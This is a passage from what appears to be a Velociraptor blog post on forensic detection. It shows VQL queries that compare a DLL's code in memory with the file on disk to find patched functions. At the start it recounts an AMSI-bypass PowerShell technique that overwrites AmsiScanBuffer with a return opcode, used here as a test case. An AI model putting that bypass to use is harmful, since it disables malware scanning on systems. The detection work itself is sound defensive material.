}&#xA;}&#xA;&#xA;Disable-Protection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This code prevents calling &lt;code&gt;AmsiScanBuffer&lt;/code&gt; used to scan PowerShell&#xA;code for suspicious constructs:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It gets a handle to the &lt;code&gt;amsi.dll&lt;/code&gt; library.&lt;/li&gt;&#xA;&lt;li&gt;It then finds the &lt;code&gt;AmsiScanBuffer&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;li&gt;Changes the page protections on the function to allow writing on&#xA;the memory.&lt;/li&gt;&#xA;&lt;li&gt;Overwrites the memory with a return op code&lt;/li&gt;&#xA;&lt;li&gt;Changes memory protections back.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You can use this example while reading the following post.&lt;/p&gt;&#xA;&lt;h1 id=&#34;how-can-we-detect-memory-patching&#34;&gt;How can we detect memory patching?&lt;/h1&gt;&#xA;&lt;p&gt;The main indicator for memory patching is that the code resident in&#xA;memory is not the same as the code of the DLL on disk. So the approach&#xA;here is to compare the code in memory with the code on disk for each&#xA;DLL.&lt;/p&gt;&#xA;&lt;p&gt;I will develop the following in a notebook cell which I am launching&#xA;on a Windows system using &lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/#instant-velociraptor&#34;&gt;Instant Velociraptor&lt;/a&gt;. This approach allows me&#xA;to interactively develop my VQL on a live system in the convenience of&#xA;a GUI notebook without needing to call into a remote client. See&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/artifacts/tips/&#34;&gt;Artifact Writing Tips &lt;/a&gt; for more&#xA;details.&lt;/p&gt;&#xA;&lt;p&gt;In a separate window I start powershell, and paste the above code into&#xA;it. This will patch &lt;code&gt;amsi.dll&lt;/code&gt; so I can use it as a test to develop my&#xA;VQL.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-1-enumerate-processes-of-interest&#34;&gt;Step 1: Enumerate processes of interest&lt;/h2&gt;&#xA;&lt;p&gt;First I list all the processes and identify the powershell process.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * FROM pslist()&#xA;WHERE Name =~ &amp;quot;powershell&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/pslist.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Filtering processes by name&#34;&#xA;         width=&#34;920&#34; height=&#34;386&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;pslist.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Filtering processes by name&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/popular/pslist/&#34;&gt;pslist()&lt;/a&gt; VQL&#xA;plugin is similar to Volatility&amp;rsquo;s &lt;code&gt;pslist&lt;/code&gt; plugin - it simply lists&#xA;all active processes and reveals important information about them.&lt;/p&gt;&#xA;&lt;p&gt;In this case, I am interested in the process ID (Pid) of the&#xA;powershell process. I want to use that to see all dll&amp;rsquo;s mapped into&#xA;the powershell process&amp;rsquo;s address space.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-2-finding-mapped-dlls&#34;&gt;Step 2: Finding mapped Dlls&lt;/h2&gt;&#xA;&lt;p&gt;I am especially interested in how this process is mapping the&#xA;&lt;code&gt;amsi.dll&lt;/code&gt;. Executable dlls are normally mapped into a process address&#xA;space by the kernel when the dll is loaded. I can view the mapped&#xA;sections of a process using the &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/windows/vad/&#34;&gt;vad()&lt;/a&gt; VQL plugin. This plugin is&#xA;equivalent to Volatility&amp;rsquo;s &lt;code&gt;vad&lt;/code&gt; plugin, and produces a list of all&#xA;mapped sections in the process. If the section is backed by a file&#xA;then the filename is also given, as well as the memory protections of&#xA;the region.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * FROM foreach(row={&#xA;  SELECT * FROM pslist()&#xA;  WHERE Name =~ &amp;quot;powershell&amp;quot;&#xA;}, query={&#xA;  SELECT Pid, Name, *&#xA;  FROM vad(pid=Pid)&#xA;  WHERE MappingName =~ &amp;quot;amsi.dll&amp;quot;&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/inspecting_vad_.svg&#34; alt=&#34;Inspecting the dlls mapped into the process address space&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;541&#34;&#xA;         width=&#34;1283.030303030303&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;inspecting_vad.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting the dlls mapped into the process address space&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As we see above, the region with &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt; protections which&#xA;is backed by the &lt;code&gt;amsi.dll&lt;/code&gt; is the one containing the actual code&#xA;exported by the DLL.&lt;/p&gt;&#xA;&lt;p&gt;So our goal is to find the same dll on disk and compare the bytes in&#xA;memory with the bytes on disk.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-3-convert-from-kernel-paths-to-filesystem-paths&#34;&gt;Step 3: Convert from kernel paths to filesystem paths&lt;/h2&gt;&#xA;&lt;p&gt;However, as you can see, the Windows kernel reports the mapping&#xA;filename in kernel path conventions:&#xA;&lt;code&gt;\Device\HarddiskVolume3\Windows\System32\amsi.dll&lt;/code&gt; referring to the&#xA;kernel&amp;rsquo;s internal device manager path. We can not use this path to&#xA;directly open the file on disk.&lt;/p&gt;&#xA;&lt;p&gt;Somehow, we need to convert &lt;code&gt;\Device\HarddiskVolume3\&lt;/code&gt; to &lt;code&gt;C:\&lt;/code&gt;. The&#xA;conversion is actually done by the Kernel&amp;rsquo;s object manager depending&#xA;on how the volumes are mounted at the moment. The &lt;code&gt;C:\&lt;/code&gt; drive letter&#xA;is simply a symbolic link to the real path as far as the kernel is&#xA;concerned.&lt;/p&gt;&#xA;&lt;p&gt;Luckily we can inspect the content of the kernel object manager using&#xA;the &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/windows/winobj/&#34;&gt;winobj()&lt;/a&gt;&#xA;plugin. This is the VQL equivalent of Volatility&amp;rsquo;s &lt;code&gt;winobj&lt;/code&gt; plugin. It&#xA;shows the kernel&amp;rsquo;s object manager namespace.&lt;/p&gt;&#xA;&lt;p&gt;I won&amp;rsquo;t get into too much detail, but the following VQL code&#xA;translates from kernel paths into file paths using the object manager&#xA;namespace. I just paste this code in my notebook and call it as&#xA;&lt;code&gt;DriveReplace(Path)&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;-- These functions help to resolve the Kernel Device Filenames&#xA;-- into a regular filename with drive letter.&#xA;LET DriveReplaceLookup &amp;lt;= SELECT&#xA;    split(sep_string=&amp;quot;\\&amp;quot;, string=Name)[-1] AS Drive,&#xA;    upcase(string=SymlinkTarget) AS Target,&#xA;    len(list=SymlinkTarget) AS Len&#xA;  FROM winobj()&#xA;  WHERE Name =~ &amp;quot;^\\\\GLOBAL\\?\\?\\\\.:&amp;quot;&#xA;&#xA;LET _DriveReplace(Path) = SELECT Drive + Path[Len:] AS ResolvedPath&#xA;  FROM DriveReplaceLookup&#xA;  WHERE upcase(string=Path[:Len]) = Target&#xA;&#xA;LET DriveReplace(Path) = _DriveReplace(Path=Path)[0].ResolvedPath || Path&#xA;&#xA;SELECT *&#xA;FROM foreach(row={&#xA;  SELECT * FROM pslist()&#xA;  WHERE Name =~ &amp;quot;powershell&amp;quot;&#xA;}, query={&#xA;  SELECT Pid, Name, DriveReplace(Path=MappingName) AS DllName, *&#xA;  FROM vad(pid=Pid)&#xA;  WHERE MappingName =~ &amp;quot;amsi.dll&amp;quot;&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;step-4-parsing-the-dll-from-disk&#34;&gt;Step 4: parsing the DLL from disk&lt;/h2&gt;&#xA;&lt;p&gt;In our artifact we would rather just import those utility functions&#xA;from a common artifact (these functions are actually provided by the&#xA;&lt;code&gt;Windows.System.VAD&lt;/code&gt; artifact). In this way VQL allows us to&#xA;modularize artifacts and reuse code.&lt;/p&gt;&#xA;&lt;p&gt;I also want to format the address in hexadecimal and parse the dll&#xA;from disk using the &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/parsers/parse_pe/&#34;&gt;parse_pe()&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&lt;p&gt;Putting it all together:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET _ &amp;lt;= import(artifact=&amp;quot;Windows.System.VAD&amp;quot;)&#xA;LET Hex(X) = format(format=&amp;quot;%#x&amp;quot;, args=X)&#xA;&#xA;SELECT * FROM foreach(row={&#xA;    SELECT *&#xA;    FROM pslist()&#xA;    WHERE Name =~ &amp;quot;powershell&amp;quot;&#xA;  },&#xA;             query={&#xA;    SELECT Pid, Name, Hex(X=Address) AS Address,&#xA;           DriveReplace(Path=MappingName) AS Dll,&#xA;           parse_pe(file=DriveReplace(Path=MappingName)) AS PEInfo, *&#xA;    FROM vad(pid=Pid)&#xA;    WHERE MappingName =~ &amp;quot;amsi&amp;quot; AND ProtectionMsg =~ &amp;quot;PAGE_EXECUTE_READ&amp;quot;&#xA;  })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/parsing_the_pe_file_.svg&#34; alt=&#34;Parsing the mapped DLL from disk&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;606&#34;&#xA;         width=&#34;1285.127436281859&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;parsing_the_pe_file.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Parsing the mapped DLL from disk&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above we see some important information:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The code of &lt;code&gt;amsi.dll&lt;/code&gt; is mapped into the process at virtual&#xA;address &lt;code&gt;0x7ff945181000&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;By parsing the sections from the dll on disk we can tell the code section  named &lt;code&gt;.text&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Has a file offset of 4096 bytes inside the PE file.&lt;/li&gt;&#xA;&lt;li&gt;The Virtual Memory address preferred by the DLL is 6442455040&lt;/li&gt;&#xA;&lt;li&gt;The Relative Virtual Address of the text section is 4096. This is&#xA;relative address (from the DLL load offset) where this section&#xA;starts.&lt;/li&gt;&#xA;&lt;li&gt;The size of the section is 73728 bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Although the DLL wants to be loaded at a preferred virtual memory&#xA;address of 6442455040, windows does not actually load at this&#xA;address. Instead it is loaded at 0x7ff945181000. This is because&#xA;Windows tries to randomize the address space by shifting the loading&#xA;location of the dll to a random start location.&lt;/p&gt;&#xA;&lt;p&gt;This is called the ASLR shift (Address space layout&#xA;randomization). Let&amp;rsquo;s visualize how it looks in memory:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/memory_vs_disk_.svg&#34; alt=&#34;Comparing memory mapped dll to disk offsets&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;889.1666666666665&#34;&#xA;         width=&#34;1878.333333333333&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;memory_vs_disk.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Comparing memory mapped dll to disk offsets&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s extract the interesting fields from the &lt;code&gt;.text&lt;/code&gt; section by&#xA;writing a VQL function to locate the &lt;code&gt;.text&lt;/code&gt; section from a DLL on&#xA;disk:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;-- Filter all the PE sections to find the .text section&#xA;LET GetTextSegment(Path) = filter(&#xA;   condition=&amp;quot;x=&amp;gt;x.Name = &#39;.text&#39;&amp;quot;,&#xA;   list=parse_pe(file=Path).Sections)[0]&#xA;&#xA;LET Sections = SELECT Pid, Name, Address, Dll,&#xA;    GetTextSegment(Path=Dll) AS TextSegment&#xA;FROM foreach(row={&#xA;    SELECT * FROM pslist()&#xA;    WHERE Name =~ &amp;quot;powershell&amp;quot;&#xA;  }, query={&#xA;    SELECT Pid, Name, Address,&#xA;           DriveReplace(Path=MappingName) AS Dll, *&#xA;    FROM vad(pid=Pid)&#xA;    WHERE MappingName =~ &amp;quot;amsi&amp;quot;&#xA;      AND ProtectionMsg =~ &amp;quot;PAGE_EXECUTE_READ&amp;quot;&#xA;  })&#xA;&#xA;SELECT *,&#xA;  Hex(X=Address) AS Address,&#xA;  Hex(X=Address - TextSegment.VMA) AS ASLR&#xA;FROM Sections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/essential_info.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Isolating the essential information&#34;&#xA;         width=&#34;1589&#34; height=&#34;434&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;essential_info.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Isolating the essential information&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above query calculates the ASLR offset, and gets the essential&#xA;information for the &lt;code&gt;.text&lt;/code&gt; section.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-5-comparing-the-memory-regions-with-the-disk&#34;&gt;Step 5: Comparing the memory regions with the disk&lt;/h2&gt;&#xA;&lt;p&gt;Now I will read the &lt;code&gt;.text&lt;/code&gt; section from disk and memory. Velociraptor&#xA;allows to read process memory using the &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/accessors/process/&#34;&gt;process accessor&lt;/a&gt;. The accessor makes the&#xA;process memory appear as a huge file, so we can apply any VQL function&#xA;or plugin which expects a file directly on process memory.&lt;/p&gt;&#xA;&lt;p&gt;This is useful, for example, in applying the &lt;code&gt;yara()&lt;/code&gt; plugin to scan&#xA;memory for patterns. However, in this case I just want to read the&#xA;&lt;code&gt;.text&lt;/code&gt; section and compare it with the file on disk. I can use the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/popular/read_file/&#34;&gt;read_file()&lt;/a&gt; VQL&#xA;function to just read the file into a single buffer string (Note that&#xA;when using the process accessor the filename must be of the form&#xA;&lt;code&gt;/&amp;lt;pid&amp;gt;&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LET PidAsString(Pid) = format(format=&amp;quot;/%d&amp;quot;, args=Pid)&#xA;&#xA;SELECT *,&#xA;       Hex(X=Address) AS Address,&#xA;       Hex(X=Address - TextSegment.VMA) AS ASLR,&#xA;       read_file(offset=TextSegment.FileOffset,&#xA;                 length=TextSegment.Size,&#xA;                 filename=Dll) AS DiskData,&#xA;       read_file(offset=Address,&#xA;                 length=TextSegment.Size,&#xA;                 accessor=&amp;quot;process&amp;quot;,&#xA;                 filename=PidAsString(Pid=Pid)) AS MemoryData&#xA;FROM Sections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/reading_process_memory.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Reading process memory and code from disk&#34;&#xA;         width=&#34;1584&#34; height=&#34;400&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;reading_process_memory.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Reading process memory and code from disk&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-6-comparing-memory-to-disk&#34;&gt;Step 6: Comparing memory to disk&lt;/h2&gt;&#xA;&lt;p&gt;Next I need to compare the &lt;code&gt;MemoryData&lt;/code&gt; and &lt;code&gt;DiskData&lt;/code&gt;. I can start&#xA;with a naive implementation which compares 8 bytes at the time (This&#xA;will be too slow on larger DLLs but for this example it should be fast&#xA;enough):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET Compare(MemoryData, DiskData) = SELECT&#xA;    _value AS Offset,&#xA;    MemoryData[_value:(_value + 8)] AS MemoryInt,&#xA;    DiskData[_value:(_value + 8)] AS DiskInt&#xA;  FROM range(end=len(list=MemoryData), step=8)&#xA;  WHERE MemoryInt != DiskInt&#xA;&#xA;SELECT&#xA;    *, Hex(X=Address) AS Address,&#xA;    Hex(X=Address - TextSegment.VMA) AS ASLR,&#xA;    GetTextSegment(Path=Dll) AS TextSegment,&#xA;    Compare(DiskData=read_file(offset=TextSegment.FileOffset,&#xA;                               length=TextSegment.Size,&#xA;                               filename=Dll),&#xA;            MemoryData=read_file(offset=Address,&#xA;                                 length=TextSegment.Size,&#xA;                                 accessor=&amp;quot;process&amp;quot;,&#xA;                                 filename=PidAsString(Pid=Pid))) AS Comparison&#xA;FROM Sections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I first define a &lt;code&gt;Compare&lt;/code&gt; VQL function which accepts two buffers&#xA;&lt;code&gt;MemoryData&lt;/code&gt; and &lt;code&gt;DiskData&lt;/code&gt;. It then iterates over the length of the&#xA;buffers in steps of 8 bytes. For each 8 byte offset, the function gets&#xA;the bytes in both buffers and compares them. The function then shows&#xA;the rows where the memory is different.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/comparing_process_memory.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Comparing process memory with disk&#34;&#xA;         width=&#34;1581&#34; height=&#34;270&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;comparing_process_memory.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Comparing process memory with disk&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can see that in this case, a single 8 byte address is different&#xA;between the memory and disk at offset 46080.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-7-resolving-the-function-that-was-patched&#34;&gt;Step 7: Resolving the function that was patched&lt;/h2&gt;&#xA;&lt;p&gt;While it is interesting to see the address of where the memory has&#xA;been modified, we don&amp;rsquo;t know much about this address. It would be nice&#xA;to be able to see what function exactly was patched since it will give&#xA;us more indication of the intent of the patch.&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;code&gt;amsi.dll&lt;/code&gt; exports a number of functions, we know their relative&#xA;addresses. We can therefore look up which exported function starts&#xA;just before the modified address - chances are this is the function&#xA;the attacker wanted to modify.&lt;/p&gt;&#xA;&lt;p&gt;The DLL&amp;rsquo;s export table indicates all the functions that are exported&#xA;from the dll, and their Relative Virtual Addresses (i.e. relative&#xA;address to the base address at which the DLL is loaded).&lt;/p&gt;&#xA;&lt;p&gt;Therefore we need to calculate the relative address of the hit, and&#xA;then look up the export table quickly to resolve the nearest function.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/calculating_hit_rva_.svg&#34; alt=&#34;Calculating the Relative Virtual Address of the memory&#xA;hit&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;1103.3333333333335&#34;&#xA;         width=&#34;1596.6666666666665&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;calculating_hit_rva.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Calculating the Relative Virtual Address of the memory&#xA;hit&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This is shown diagrammatically above. The different offset (within the&#xA;mapped segment) is converted to an RVA by adding the &lt;code&gt;.text&lt;/code&gt; section&amp;rsquo;s&#xA;RVA offset, then we can look up the name of the function from the&#xA;export table using the &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/other/describe_address/&#34;&gt;describe_address()&lt;/a&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;We modify our comparison function to accept the &lt;code&gt;TextSegment&lt;/code&gt; and&#xA;return the name of the exported function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET Compare(MemoryData, DiskData, TextSegment, Dll) = SELECT&#xA;    _value AS Offset,&#xA;    TextSegment.RVA + _value AS RVA,&#xA;    describe_address(module=Dll, rva=TextSegment.RVA + _value).func AS Func,&#xA;    MemoryData[_value:(_value + 8)] AS MemoryInt,&#xA;    DiskData[_value:(_value + 8)] AS DiskInt&#xA;  FROM range(end=len(list=MemoryData), step=8)&#xA;  WHERE MemoryInt != DiskInt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/resolving_addresses.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Resolving the patched memory back to a function name&#34;&#xA;         width=&#34;1581&#34; height=&#34;273&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;resolving_addresses.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Resolving the patched memory back to a function name&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now it is very obvious what this patch aims to achieve!&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-8-handling-relocations&#34;&gt;Step 8: Handling relocations&lt;/h2&gt;&#xA;&lt;p&gt;The above example was very simplified. If we tested this over more&#xA;binaries we would discover that there are many memory locations which&#xA;are different from disk due to PE relocations. These are special&#xA;addresses in the binary code which require &amp;ldquo;fixing up&amp;rdquo; when the binary&#xA;is moved from its preferred base address.&lt;/p&gt;&#xA;&lt;p&gt;With the use of 64 bit code, the number of relocations is much&#xA;smaller, although 64 bit code can sometimes have relocations&#xA;too. However, in 32 bit code relocations are very common.&lt;/p&gt;&#xA;&lt;p&gt;When an address is patched by the loaded due to relocations, the value&#xA;in that address is increased by the ASLR offset. This means the&#xA;integers stored at that address on disk and memory have a constant&#xA;difference.&lt;/p&gt;&#xA;&lt;p&gt;More complex VQL can deal with these and exclude expected differences&#xA;due to relocations.&lt;/p&gt;&#xA;&lt;p&gt;We will not describe this more complex code in this blog post, and&#xA;simply refer the reader to the full &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/windows.memory.mem2disk/&#34;&gt;Windows.Memory.Mem2Disk&lt;/a&gt; artifact,&#xA;written by Lautaro Lecumberry and Dr. Michael Denzel.&lt;/p&gt;&#xA;&lt;p&gt;This artifact is also optimized for performance and has many useful&#xA;filters to restrict scanning to those dlls commonly targeted by&#xA;malware. The artifact is also multi-threaded which makes scanning&#xA;multiple processes in parallel possible.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/Windows.Memory.Mem2Disk.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Output from the Windows.Memory.Mem2Disk artifact&#34;&#xA;         width=&#34;1541&#34; height=&#34;582&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;Windows.Memory.Mem2Disk.png&#34;&gt;&#xA;  